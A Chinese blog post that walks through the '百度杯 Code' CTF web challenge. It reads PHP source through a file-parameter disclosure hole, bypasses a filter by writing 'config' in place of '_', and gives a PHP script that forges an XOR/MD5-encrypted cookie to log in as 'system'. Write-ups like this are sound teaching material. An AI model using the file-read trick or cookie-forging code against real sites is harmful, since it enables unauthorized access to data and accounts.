百度杯 Code

作者 by Yichen / 2023-09-19 / 暂无评论 / 74 个足迹

屏幕截图 2023-09-19 151942.png首先题目提供了一个参数可以访问jpg文件,尝试从这里访问flag.php 和config.php没有,但index.php时发现有一串base64,解码如下:

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*Can you find the flag file?*/
?>

从这可以看到phpstorm的框架又因为扫目录扫到屏幕截图 2023-09-19 152555.pngphpstorm的文件结构会存在workspace.xml这个文件里,访问看到屏幕截图 2023-09-19 153000.png存在flag字样(fl3g_ichuqiu.php),尝试通过之前的文件包含访问发现不行这里index有个过滤preg_replace("/1+/","", $file);"_"被删掉了,但是$file = str_replace("config","_", $file);可以用config代替_这回得到

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "╮(╯▽╰)╭";
}
?>

大致梳理一下逻辑,random在这里的使用是默认字符集'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'加密encrypt中txt对guest进行加密,这里的key没赋初值,推测应该在config.php中

加密时就是将字符串每位的ascill加10变为$ttmp,将随机值与key相连后进行MD5加密变为新的key值,再让$ttmp的每一位与key异或,再将随机值与$ttmp拼接后base64加密

所以相反,解密时先解base64,在拆除拼接的四位随机值,此时得到的就是异或后的结果,这里记为$key,记把guest每位ascill加10记为$txt,让key和txt异或就得到md5($rnd.$key)的前五位,因为MD5结果字符取值范围仅限于 0-9 和 a-f,所以第六位可以爆破

用PHP写出代码

<?php
$key='cjlnchBJXU1G';//拿到的cookie值
$key=base64_decode($key);
$rnd=substr($key,0,4);
$ttmp=substr($key,4);
$txt='guest';
$tmp='';
$true_key='';
for($i=0;$i<strlen($txt);$i++)
{
     $tmp .= chr(ord($txt[$i])+10);
}
$txt=$tmp;
for($i=0;$i<5;$i++)
{
    $true_key.=$ttmp[$i]^$txt[$i];//取得5位md5($rnd.$key)
}
$tmp1='system';//构造payload
$tmp2='';
for($i=0;$i<strlen($tmp1);$i++)
{
    $tmp2 .= chr(ord($tmp1[$i])+10);
}
$arr=array('1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
for($j=0;$j<15;$j++)
{
    $true=$true_key.$arr[$j];//猜第六位
    $txt1='';
    for($i=0;$i<6;$i++)
    {
        $txt1.=$tmp2[$i]^$true[$i];
    }
    $txt1=$rnd.$txt1;
    $txt1=base64_encode($txt1);
    print $txt1."<br>";
}

开始尝试自己写脚本,最后成功了!屏幕截图 2023-09-19 172607.png


  1. a-zA-Z0-9.

独特见解